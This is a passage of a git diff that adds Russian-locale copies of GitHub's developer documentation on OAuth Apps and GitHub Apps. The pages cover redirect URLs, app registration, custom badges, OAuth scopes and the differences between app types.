authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) if +you or your users have two-factor authentication enabled. + +{% endnote %} +{% endif %} + +## Redirect URLs + +The `redirect_uri` parameter is optional. If left out, GitHub will +redirect users to the callback URL configured in the OAuth Application +settings. If provided, the redirect URL's host (excluding sub-domains) and port must exactly +match the callback URL. The redirect URL's path must reference a +subdirectory of the callback URL. + + CALLBACK: http://example.com/path + + GOOD: http://example.com/path + GOOD: http://example.com/path/subdir/other + GOOD: http://oauth.example.com/path + GOOD: http://oauth.example.com/path/subdir/other + BAD: http://example.com/bar + BAD: http://example.com/ + BAD: http://example.com:8080/path + BAD: http://oauth.example.com:8080/path + BAD: http://example.org + +### Loopback redirect urls + +The optional `redirect_uri` parameter can also be used for loopback URLs. If the application specifies a loopback URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback URL for the app. + +For the `http://127.0.0.1/path` callback URL, you can use this `redirect_uri`: + +``` +http://127.0.0.1:1234/path +``` + +Note that OAuth RFC [recommends not to use `localhost`](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3), but instead to use loopback literal `127.0.0.1` or IPv6 `::1`. + +## Creating multiple tokens for OAuth Apps + +You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases. + +This is useful if your OAuth App supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your OAuth App can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your OAuth App access to their private repositories. + +{% data reusables.apps.oauth-token-limit %} + +{% data reusables.apps.deletes_ssh_keys %} + +## Directing users to review their access + +You can link to authorization information for an OAuth App so that users can review and revoke their application authorizations. + +To build this link, you'll need your OAuth Apps `client_id` that you received from GitHub when you registered the application. + +``` +{% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id +``` + +{% tip %} + +**Tip:** To learn more about the resources that your OAuth App can access for a user, see "[Discovering resources for a user](/rest/guides/discovering-resources-for-a-user)." + +{% endtip %} + +## Troubleshooting + +* "[Troubleshooting authorization request errors](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)" +* "[Troubleshooting OAuth App access token request errors](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)" +* "[Device flow errors](#error-codes-for-the-device-flow)" +* "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)" + +## Further reading + +- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)" diff --git a/translations/ru-RU/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md b/translations/ru-RU/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md new file mode 100644 index 000000000000..d43b907e2e76 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md @@ -0,0 +1,51 @@ +--- +title: Creating a custom badge for your OAuth App +intro: '{% data reusables.shortdesc.creating_custom_badges_oauth_apps %}' +redirect_from: + - /apps/building-oauth-apps/creating-custom-badges-for-oauth-apps + - /developers/apps/creating-a-custom-badge-for-your-oauth-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +shortTitle: Create custom badges +--- +By default, a new OAuth App will have an automatically generated [identicon](https://github.com/blog/1586-identicons). +An identicon badge looks something like this: + +![Identicon](/assets/images/identicon.png) + +After you create an OAuth App, you can customize the app's badge by uploading a logo and selecting a background color. A badge is a square logo image inside of a circular badge. You can choose a background color for the badge, which can be used to visually distinguish your app. + +Your logo should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend an image size of at least 200px x 200px. {% ifversion fpt or ghec %}See "[Tips for logo and badge images](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#guidelines-for-logos)" for more guidance on customizing badges.{% endif %} + +{% ifversion fpt or ghec %} + +You can change a custom badge for a GitHub App that already has an approved Marketplace listing by navigating to https://github.com/marketplace/manage. + +{% endif %} + +To create a custom badge: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +{% data reusables.user-settings.modify_oauth_app %} +1. In "Application logo", drag-and-drop an image from a local folder or click **Upload new logo** to select an image from your computer. +![Upload a logo](/assets/images/oauth-apps/oauth_apps_upload_logo.png) +6. Crop your picture. When you're done, click **Set new application logo**. +![Crop and set logo](/assets/images/oauth-apps/oauth_apps_crop_and_set_logo.png) +7. In "Badge background color", type the [hexadecimal color code](http://www.color-hex.com/) of the background color for your badge. {% ifversion fpt or ghec %}**Note:** The "Badge background color" input field will be visible after an application logo has been uploaded.{% endif %} +![Badge background color](/assets/images/oauth-apps/oauth_apps_badge_background_color.png) +{% data reusables.user-settings.update_oauth_app %} + +{% ifversion fpt or ghec %} + +## Next steps + +For more information about creating a Marketplace listing for this app, see "[Listing on GitHub Marketplace](/marketplace/listing-on-github-marketplace/)". + +{% endif %} diff --git a/translations/ru-RU/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md b/translations/ru-RU/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md new file mode 100644 index 000000000000..2658dd1ee284 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md @@ -0,0 +1,60 @@ +--- +title: Creating an OAuth App +intro: '{% data reusables.shortdesc.creating_oauth_apps %}' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps + - /apps/building-oauth-apps/creating-an-oauth-app + - /developers/apps/creating-an-oauth-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +--- +{% ifversion fpt or ghec %} +{% note %} + + **Note:** {% data reusables.apps.maximum-oauth-apps-allowed %} + +{% endnote %} +{% endif %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +4. Click **New OAuth App**. +![Button to create a new OAuth app](/assets/images/oauth-apps/oauth_apps_new_app.png) + + {% note %} + + **Note:** If you haven't created an app before, this button will say, **Register a new application**. + + {% endnote %} +6. In "Application name", type the name of your app. +![Field for the name of your app](/assets/images/oauth-apps/oauth_apps_application_name.png) + + {% warning %} + + **Warning:** Only use information in your OAuth app that you consider public. Avoid using sensitive data, such as internal URLs, when creating an OAuth App. + + {% endwarning %} + +7. In "Homepage URL", type the full URL to your app's website. +![Field for the homepage URL of your app](/assets/images/oauth-apps/oauth_apps_homepage_url.png) +8. Optionally, in "Application description", type a description of your app that users will see. +![Field for a description of your app](/assets/images/oauth-apps/oauth_apps_application_description.png) +9. In "Authorization callback URL", type the callback URL of your app. +![Field for the authorization callback URL of your app](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png) +{% ifversion fpt or ghes or ghec %} + {% note %} + + **Note:** OAuth Apps cannot have multiple callback URLs, unlike {% data variables.product.prodname_github_apps %}. + + {% endnote %} +{% endif %}{% ifversion device-flow-is-opt-in %} +1. If your OAuth App will use the device flow to identify and authorize users, click **Enable Device Flow**. For more information about the device flow, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)." + ![Screenshot showing field for enabling device flow](/assets/images/oauth-apps/enable-device-flow.png){% endif %} +2. Click **Register application**. +![Button to register an application](/assets/images/oauth-apps/oauth_apps_register_application.png) diff --git a/translations/ru-RU/content/developers/apps/building-oauth-apps/index.md b/translations/ru-RU/content/developers/apps/building-oauth-apps/index.md new file mode 100644 index 000000000000..a36d77e2d28c --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-oauth-apps/index.md @@ -0,0 +1,26 @@ +--- +title: Создание приложений OAuth +intro: 'Вы можете создавать приложения OAuth для себя или других пользователей. Узнайте, как зарегистрировать и настроить разрешения и параметры авторизации для приложений OAuth.' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-oauth-apps + - /apps/building-oauth-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +children: + - /creating-an-oauth-app + - /authorizing-oauth-apps + - /scopes-for-oauth-apps + - /creating-a-custom-badge-for-your-oauth-app +ms.openlocfilehash: 6618188f0a8da5fb1b865cecd886d337b38a2c77 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089989' +--- + diff --git a/translations/ru-RU/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/ru-RU/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md new file mode 100644 index 000000000000..d106478f7ef8 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md @@ -0,0 +1,123 @@ +--- +title: Scopes for OAuth Apps +intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}' +redirect_from: + - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps + - /apps/building-oauth-apps/scopes-for-oauth-apps + - /apps/building-oauth-apps/understanding-scopes-for-oauth-apps + - /developers/apps/scopes-for-oauth-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +--- +When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form. + +{% note %} + +**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." + +{% endnote %} + +If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)." + +Check headers to see what OAuth scopes you have, and what the API action accepts: + +```shell +$ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I +HTTP/2 200 +X-OAuth-Scopes: repo, user +X-Accepted-OAuth-Scopes: user +``` + +* `X-OAuth-Scopes` lists the scopes your token has authorized. +* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for. + +## Available scopes + +Name | Description +-----|-----------|{% ifversion not ghae %} +**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %} +**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %} +**`repo`** | Grants full access to public{% ifversion ghec or ghes or ghae %}, internal,{% endif %} and private repositories including read and write access to code, commit statuses, repository invitations, collaborators, deployment statuses, and repository webhooks. **Note**: In addition to repository related resources, the `repo` scope also grants access to manage organization-owned resources including projects, invitations, team memberships and webhooks. This scope also grants the ability to manage projects owned by users. + `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code. + `repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %} + `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %} + `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes or ghec %} + `security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) {%- ifversion ghec %}<br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning){%- endif %} <br/> This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %} +**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. + `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. + `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. +**`admin:org`** | Fully manage the organization and its teams, projects, and memberships. + `write:org`| Read and write access to organization membership, organization projects, and team membership. + `read:org`| Read-only access to organization membership, organization projects, and team membership. +**`admin:public_key`** | Fully manage public keys. + `write:public_key`| Create, list, and view details for public keys. + `read:public_key`| List and view details for public keys. +**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. {% data variables.product.pat_generic_caps %}s will only be able to perform these actions on organization hooks created by a user. +**`gist`** | Grants write access to gists. +**`notifications`** | Grants: <br/>* read access to a user's notifications <br/>* mark as read access to threads <br/>* watch and unwatch access to a repository, and <br/>* read, write, and delete access to thread subscriptions. +**`user`** | Grants read/write access to profile info only. Note that this scope includes `user:email` and `user:follow`. + `read:user`| Grants access to read a user's profile data. + `user:email`| Grants read access to a user's email addresses. + `user:follow`| Grants access to follow or unfollow other users.{% ifversion projects-oauth-scope %} +**`project`** | Grants read/write access to user and organization {% data variables.projects.projects_v2 %}. + `read:project`| Grants read only access to user and organization {% data variables.projects.projects_v2 %}.{% endif %} +**`delete_repo`** | Grants access to delete adminable repositories. +**`write:discussion`** | Allows read and write access for team discussions. + `read:discussion` | Allows read access for team discussions. +**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)". +**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)". +**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +**`admin:gpg_key`** | Fully manage GPG keys. + `write:gpg_key`| Create, list, and view details for GPG keys. + `read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %} +**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces#authentication)."{% endif %} +**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% ifversion not fpt %} +**`admin:enterprise`** | Gives full control of enterprise functionality. For more information, see "[Managing enterprise accounts](/graphql/guides/managing-enterprise-accounts)" in the GraphQL API documentation.<br><br>Includes `manage_runners:enterprise`{% ifversion ghec or ghes > 3.3 %}, `manage_billing:enterprise`,{% endif %} and `read:enterprise`. + `manage_runners:enterprise` | Gives full control over self-hosted runners within the enterprise. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." {% ifversion ghec or ghes > 3.3 %} + `manage_billing:enterprise` | Read and write enterprise billing data. For more information, see "[Billing](/rest/billing)" in the REST API documentation. {% endif %} + `read:enterprise` | Read all data on an enterprise profile. Does not include profile data of enterprise members or organizations.{% endif %}{% ifversion read-audit-scope %} +**`read:audit_log`** | Read audit log data.{% endif %} +{% note %} + +**Note:** Your OAuth App can request the scopes in the initial redirection. You +can specify multiple scopes by separating them with a space using `%20`: + + https://github.com/login/oauth/authorize? + client_id=...& + scope=user%20repo_deployment + +{% endnote %} + +## Requested scopes and granted scopes + +The `scope` attribute lists scopes attached to the token that were granted by +the user. Normally, these scopes will be identical to what you requested. +However, users can edit their scopes, effectively +granting your application less access than you originally requested. Also, users +can edit token scopes after the OAuth flow is completed. +You should be aware of this possibility and adjust your application's behavior +accordingly. + +It's important to handle error cases where a user chooses to grant you +less access than you originally requested. For example, applications can warn +or otherwise communicate with their users that they will see reduced +functionality or be unable to perform some actions. + +Also, applications can always send users back through the flow again to get +additional permission, but don’t forget that users can always say no. + +Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which +provides tips on handling modifiable token scopes. + +## Normalized scopes + +When requesting multiple scopes, the token is saved with a normalized list +of scopes, discarding those that are implicitly included by another requested +scope. For example, requesting `user,gist,user:email` will result in a +token with `user` and `gist` scopes only since the access granted with +`user:email` scope is included in the `user` scope. diff --git a/translations/ru-RU/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/ru-RU/content/developers/apps/getting-started-with-apps/about-apps.md new file mode 100644 index 000000000000..db0162551d30 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/getting-started-with-apps/about-apps.md @@ -0,0 +1,106 @@ +--- +title: About apps +intro: 'You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to add flexibility and reduce friction in your own workflow.{% ifversion fpt or ghec %} You can also share integrations with others on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}' +redirect_from: + - /apps/building-integrationssetting-up-a-new-integration + - /apps/building-integrations + - /apps/getting-started-with-building-apps + - /apps/about-apps + - /developers/apps/about-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +--- +Apps on {% data variables.product.prodname_dotcom %} allow you to automate and improve your workflow. You can build apps to improve your workflow.{% ifversion fpt or ghec %} You can also share or sell apps in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). To learn how to list an app on {% data variables.product.prodname_marketplace %}, see "[Getting started with GitHub Marketplace](/marketplace/getting-started/)."{% endif %} + +{% data reusables.marketplace.github_apps_preferred %}, but GitHub supports both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. For information on choosing a type of app, see "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)." + +{% data reusables.apps.general-apps-restrictions %} + +For a walkthrough of the process of building a {% data variables.product.prodname_github_app %}, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." + +## About {% data variables.product.prodname_github_apps %} + +{% data variables.product.prodname_github_apps %} are first-class actors within GitHub. A {% data variables.product.prodname_github_app %} acts on its own behalf, taking actions via the API directly using its own identity, which means you don't need to maintain a bot or service account as a separate user. + +{% data variables.product.prodname_github_apps %} can be installed directly on organizations and personal accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. When you set up your {% data variables.product.prodname_github_app %}, you can select the repositories you want it to access. For example, you can set up an app called `MyGitHub` that writes issues in the `octocat` repository and _only_ the `octocat` repository. To install a {% data variables.product.prodname_github_app %}, you must be an organization owner or have admin permissions in a repository. + +{% data reusables.apps.app_manager_role %} + +{% data variables.product.prodname_github_apps %} are applications that need to be hosted somewhere. For step-by-step instructions that cover servers and hosting, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." + +To improve your workflow, you can create a {% data variables.product.prodname_github_app %} that contains multiple scripts or an entire application, and then connect that app to many other tools. For example, you can connect {% data variables.product.prodname_github_apps %} to GitHub, Slack, other in-house apps you may have, email programs, or other APIs. + +Keep these ideas in mind when creating {% data variables.product.prodname_github_apps %}: + +{% ifversion fpt or ghec %} +* {% data reusables.apps.maximum-github-apps-allowed %} {% endif %} +* A {% data variables.product.prodname_github_app %} should take actions independent of a user (unless the app is using a [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). {% data reusables.apps.expiring_user_authorization_tokens %} + +* Make sure the {% data variables.product.prodname_github_app %} integrates with specific repositories. +* The {% data variables.product.prodname_github_app %} should connect to a personal account or an organization. +* Don't expect the {% data variables.product.prodname_github_app %} to know and do everything a user can. +* Don't use a {% data variables.product.prodname_github_app %} if you just need a "Login with GitHub" service. But a {% data variables.product.prodname_github_app %} can use a [user identification flow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) to log users in _and_ do other things. +* Don't build a {% data variables.product.prodname_github_app %} if you _only_ want to act as a GitHub user and do everything that user can do.{% ifversion fpt or ghec %} +* {% data reusables.apps.general-apps-restrictions %}{% endif %} + +To begin developing {% data variables.product.prodname_github_apps %}, start with "[Creating a {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)."{% ifversion fpt or ghec %} To learn how to use {% data variables.product.prodname_github_app %} Manifests, which allow people to create preconfigured {% data variables.product.prodname_github_apps %}, see "[Creating {% data variables.product.prodname_github_apps %} from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %} + +## About {% data variables.product.prodname_oauth_apps %} + +OAuth2 is a protocol that lets external applications request authorization to private details in a user's {% data variables.product.prodname_dotcom %} account without accessing their password. This is preferred over Basic Authentication because tokens can be limited to specific types of data and can be revoked by users at any time. + +{% data reusables.apps.deletes_ssh_keys %} + +An {% data variables.product.prodname_oauth_app %} uses {% data variables.product.prodname_dotcom %} as an identity provider to authenticate as the user who grants access to the app. This means when a user grants an {% data variables.product.prodname_oauth_app %} access, they grant permissions to _all_ repositories they have access to in their account, and also to any organizations they belong to that haven't blocked third-party access. + +Building an {% data variables.product.prodname_oauth_app %} is a good option if you are creating more complex processes than a simple script can handle. Note that {% data variables.product.prodname_oauth_apps %} are applications that need to be hosted somewhere. + +Keep these ideas in mind when creating {% data variables.product.prodname_oauth_apps %}: + +{% ifversion fpt or ghec %} +* {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %} +* An {% data variables.product.prodname_oauth_app %} should always act as the authenticated {% data variables.product.prodname_dotcom %} user across all of {% data variables.product.prodname_dotcom %} (for example, when providing user notifications). +* An {% data variables.product.prodname_oauth_app %} can be used as an identity provider by enabling a "Login with {% data variables.product.prodname_dotcom %}" for the authenticated user. +* Don't build an {% data variables.product.prodname_oauth_app %} if you want your application to act on a single repository. With the `repo` OAuth scope, {% data variables.product.prodname_oauth_apps %} can act on _all_ of the authenticated user's repositories. +* Don't build an {% data variables.product.prodname_oauth_app %} to act as an application for your team or company. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %} +* {% data reusables.apps.oauth-apps-restrictions %}{% endif %} + +For more on {% data variables.product.prodname_oauth_apps %}, see "[Creating an {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" and "[Registering your app](/rest/guides/basics-of-authentication#registering-your-app)." + +## {% data variables.product.pat_generic_caps %}s + +A [{% data variables.product.pat_generic %}](/articles/creating-a-personal-access-token-for-the-command-line/) is a string of characters that functions similarly to an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/) in that you can specify its permissions via [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). A {% data variables.product.pat_generic %} is also similar to a password, but you can have many of them and you can revoke access to each one at any time. + +As an example, you can enable a {% data variables.product.pat_generic %} to write to your repositories. If then you run a cURL command or write a script that [creates an issue](/rest/reference/issues#create-an-issue) in your repository, you would pass the {% data variables.product.pat_generic %} to authenticate. You can store the {% data variables.product.pat_generic %} as an environment variable to avoid typing it every time you use it. + +Keep these ideas in mind when using {% data variables.product.pat_generic %}s: + +* Remember to use this token to represent yourself only. +* You can perform one-off cURL requests. +* You can run personal scripts. +* Don't set up a script for your whole team or company to use. +* Don't set up a shared personal account to act as a bot user. +* Grant your token the minimal privileges it needs. +* Set an expiration for your {% data variables.product.pat_generic %}s, to help keep your information secure. + +## Determining which integration to build + +Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. The following image offers some questions to ask yourself when deciding whether to use {% data variables.product.pat_generic %}s, {% data variables.product.prodname_github_apps %}, or {% data variables.product.prodname_oauth_apps %} for your integration. + +![Intro to apps question flow](/assets/images/intro-to-apps-flow.png) + +Consider these questions about how your integration needs to behave and what it needs to access: + +* Will my integration act only as me, or will it act more like an application? +* Do I want it to act independently of me as its own entity? +* Will it access everything that I can access, or do I want to limit its access? +* Is it simple or complex? For example, {% data variables.product.pat_generic %}s are good for simple scripts and cURLs, whereas an {% data variables.product.prodname_oauth_app %} can handle more complex scripting. + +## Requesting support + +{% data reusables.support.help_resources %} diff --git a/translations/ru-RU/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md b/translations/ru-RU/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md new file mode 100644 index 000000000000..7d70c453f9a8 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md @@ -0,0 +1,34 @@ +--- +title: Activating optional features for apps +intro: 'You can test new optional features for your {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}.' +redirect_from: + - /developers/apps/activating-beta-features-for-apps + - /developers/apps/activating-optional-features-for-apps +versions: + fpt: '*' + ghae: '*' + ghes: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Activate optional features +--- +{% warning %} + +**Warning:** Optional features are subject to change. + +{% endwarning %} + +## Activating optional features for {% data variables.product.prodname_github_apps %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +3. Select the {% data variables.product.prodname_github_app %} you want to enable an optional feature for. +{% data reusables.apps.optional_feature_activation %} + +## Activating optional features for {% data variables.product.prodname_oauth_apps %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +{% data reusables.apps.optional_feature_activation %} diff --git a/translations/ru-RU/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/ru-RU/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md new file mode 100644 index 000000000000..c722a9fd7d9b --- /dev/null +++ b/translations/ru-RU/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md @@ -0,0 +1,121 @@ +--- +title: Различия между приложениями GitHub и приложениями OAuth +intro: 'Понимание различий между {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %} поможет вам решить, какое приложение вы хотите создать. {% data variables.product.prodname_oauth_app %} выступает в качестве пользователя GitHub, тогда как {% data variables.product.prodname_github_app %} использует собственное удостоверение при установке в организации или в репозиториях в организации.' +redirect_from: + - /early-access/integrations/integrations-vs-oauth-applications + - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type + - /apps/differences-between-apps + - /developers/apps/differences-between-github-apps-and-oauth-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps + - OAuth Apps +shortTitle: GitHub Apps & OAuth Apps +ms.openlocfilehash: d70304b71de11a4a24f2acc6c2545e78cbd19b0c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148008709' +--- +## Кто может устанавливать приложения GitHub и авторизовывать приложения OAuth? + +Вы можете установить приложения GitHub в личной учетной записи или в принадлежащих вам организациях. Если у вас есть права администратора в репозитории, вы можете устанавливать приложения GitHub в учетных записях организации. Если приложение GitHub установлено в репозитории и требует разрешений организации, владелец организации должен утвердить это приложение. + +{% data reusables.apps.app_manager_role %} + +Для приложений OAuth, наоборот, пользователи предоставляют авторизацию, что дает приложению возможность действовать в качестве пользователя, прошедшего проверку подлинности. Например, можно авторизовать приложение OAuth, которое находит все уведомления для пользователя, прошедшего проверку подлинности. Вы всегда можете отозвать разрешения из приложения OAuth. + +{% ifversion limit-app-access-requests %} {% data reusables.organizations.restricted-app-access-requests %} {% endif %} + +{% data reusables.apps.deletes_ssh_keys %} + +| Приложения GitHub | Приложения OAuth | +| ----- | ------ | +| Чтобы установить приложение GitHub в организации, вы должны быть владельцем организации или иметь разрешения администратора в репозитории. Если приложение GitHub установлено в репозитории и требует разрешений организации, владелец организации должен утвердить это приложение. | Вы можете авторизовать приложение OAuth для доступа к ресурсам. | +| Приложение GitHub можно установить в личном репозитории. | Вы можете авторизовать приложение OAuth для доступа к ресурсам.| +| Чтобы удалить приложение GitHub в организации и его права доступа, вы должны быть владельцем организации, владельцем личного репозитория или иметь разрешения администратора в репозитории. | Чтобы удалить права доступа, достаточно удалить маркер доступа OAuth. | +| Чтобы запросить установку приложения GitHub, вы должны быть владельцем организации или иметь разрешения администратора в репозитории. | Если в организации активна политика приложения, любой участник этой организации может запросить установку приложения OAuth в организации. Владелец организации должен утвердить или отклонить запрос. | + +## Что дает доступ к приложениям GitHub и приложениям OAuth? + +Владельцы учетных записей могут использовать {% data variables.product.prodname_github_app %} в одной учетной записи, не предоставляя доступа к другой учетной записи. Например, вы можете установить стороннюю службу компиляции в организации вашего работодателя, не предоставляя этой службе доступа к репозиториям в вашей личной учетной записи. Приложение GitHub остается установленным, когда настроивший его пользователь покидает организацию. + +_Авторизованное_ приложение OAuth App имеет доступ ко всем ресурсам, которые доступны пользователю или владельцу организации. + +| Приложения GitHub | Приложения OAuth | +| 